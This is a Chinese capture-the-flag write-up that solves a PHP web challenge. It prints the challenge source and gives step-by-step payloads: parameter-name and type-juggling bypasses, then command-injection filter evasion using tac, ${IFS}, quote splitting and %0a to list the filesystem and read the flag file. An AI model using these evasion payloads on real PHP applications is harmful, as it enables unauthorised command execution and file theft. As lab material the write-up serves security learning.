看看源码是什么先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
use your baby trick bypass me <?php
echo "use your baby trick bypass me";
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['O_O'])?$_GET['O_O']:'O_O';

if (strpos($_SERVER['QUERY_STRING'], "O_O") !==false) {
echo 'O_O, baby';
}
elseif ($str<9999999999) {
echo 'too small';
}
elseif ((string)$str>0) {
echo 'too big';
}
else{
$num = isset($_GET['num'])?$_GET ['num']:'num';
if (is_numeric($num)) {
die("no num");
}

switch ($num) {
case 0 :
break;
case 1 :
break;
case 2 :
echo file_get_contents('secret.php');
break;
default :
echo "2333333";
break;
}
}
?> too small

好!先是一个_的问题,这里直接用空格或者是%0a就能替换掉,这样第一个就过了。
其次就是一个数字大小判断的问题,这里用数组进行绕过

1
?O O[]=9999999999

num的要求是2,但不能是数字

1
num=2a

f12查看源码,发现多了

1
2
3
?php
"my secret is in f35cdaa4e8672a43e73aee7c2dd51731, try to get it";
?

访问f35cdaa4e8672a43e73aee7c2dd51731.php

img

绕过问题
看看有什么

1
?cmd=ls

img

抓个当前的php看看先,这里过滤了cat,php,我们用tac

1
?cmd=tac${IFS}f35cdaa4e8672a43e73aee7c2dd51731.p""hp

这样就ok啦,整理下返回的内容

1
2
3
4
5
6
if (isset($_GET['cmd'])){
if (!preg_match("/^.*php.*$|^.*echo.*$|^.*cat.*$|^.*busybox.*$|[A-Z0-9a-z].*>[A-Za-z0-9]|[A-Z0-9a-z].*>>[A-Za-z0-9]|[A-Z0-9a-z].*>&[A-Za-z0-9]|^.*rm.*$/i",$_GET['cmd'])){
echo "hacker";
}
else{ system($_GET['cmd']);}
}

大概就是这个样子了
构造我们的payload

1
2
?cmd=%0als /
?cmd=%0atac /flag

这样就能拿到flag了

img